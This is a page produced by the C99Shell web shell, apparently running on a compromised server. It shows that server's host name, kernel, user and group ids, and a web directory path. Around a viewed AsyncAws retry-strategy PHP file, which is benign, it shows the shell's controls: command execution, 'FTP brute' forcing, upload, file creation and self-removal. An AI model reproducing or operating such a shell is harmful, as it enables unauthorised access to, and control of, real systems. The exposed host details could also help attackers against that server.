!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/HttpClient/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AwsRetryStrategy.php (2.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace AsyncAws\Core\HttpClient;

use 
AsyncAws\Core\AwsError\AwsErrorFactoryInterface;
use 
AsyncAws\Core\AwsError\ChainAwsErrorFactory;
use 
AsyncAws\Core\Exception\UnparsableResponse;
use 
Symfony\Component\HttpClient\Response\AsyncContext;
use 
Symfony\Component\HttpClient\Retry\GenericRetryStrategy;
use 
Symfony\Contracts\HttpClient\Exception\TransportExceptionInterface;

/**
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
class AwsRetryStrategy extends GenericRetryStrategy
{
    public const 
DEFAULT_RETRY_STATUS_CODES = [0423425429500502503504507510];

    private 
$awsErrorFactory;

    
// Override Symfony default options for a better integration of AWS servers.
    
public function __construct(array $statusCodes self::DEFAULT_RETRY_STATUS_CODESint $delayMs 1000float $multiplier 2.0int $maxDelayMs 0float $jitter 0.1AwsErrorFactoryInterface $awsErrorFactory null)
    {
        
parent::__construct($statusCodes$delayMs$multiplier$maxDelayMs$jitter);
        
$this->awsErrorFactory $awsErrorFactory ?? new ChainAwsErrorFactory();
    }

    public function 
shouldRetry(AsyncContext $context, ?string $responseContent, ?TransportExceptionInterface $exception): ?bool
    
{
        if (
parent::shouldRetry($context$responseContent$exception)) {
            return 
true;
        }

        if (!
\in_array($context->getStatusCode(), [400403], true)) {
            return 
false;
        }

        if (
null === $responseContent) {
            return 
null// null mean no decision taken and need to be called again with the body
        
}

        try {
            
$error $this->awsErrorFactory->createFromContent($responseContent$context->getHeaders());
        } catch (
UnparsableResponse $e) {
            return 
false;
        }

        return 
\in_array($error->getCode(), [
            
'RequestLimitExceeded',
            
'Throttling',
            
'ThrottlingException',
            
'ThrottledException',
            
'LimitExceededException',
            
'PriorRequestNotComplete',
            
'ProvisionedThroughputExceededException',
            
'RequestThrottled',
            
'SlowDown',
            
'BandwidthLimitExceeded',
            
'RequestThrottledException',
            
'RetryableThrottlingException',
            
'TooManyRequestsException',
            
'IDPCommunicationError',
            
'EC2ThrottledException',
            
'TransactionInProgressException',
        ], 
true);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--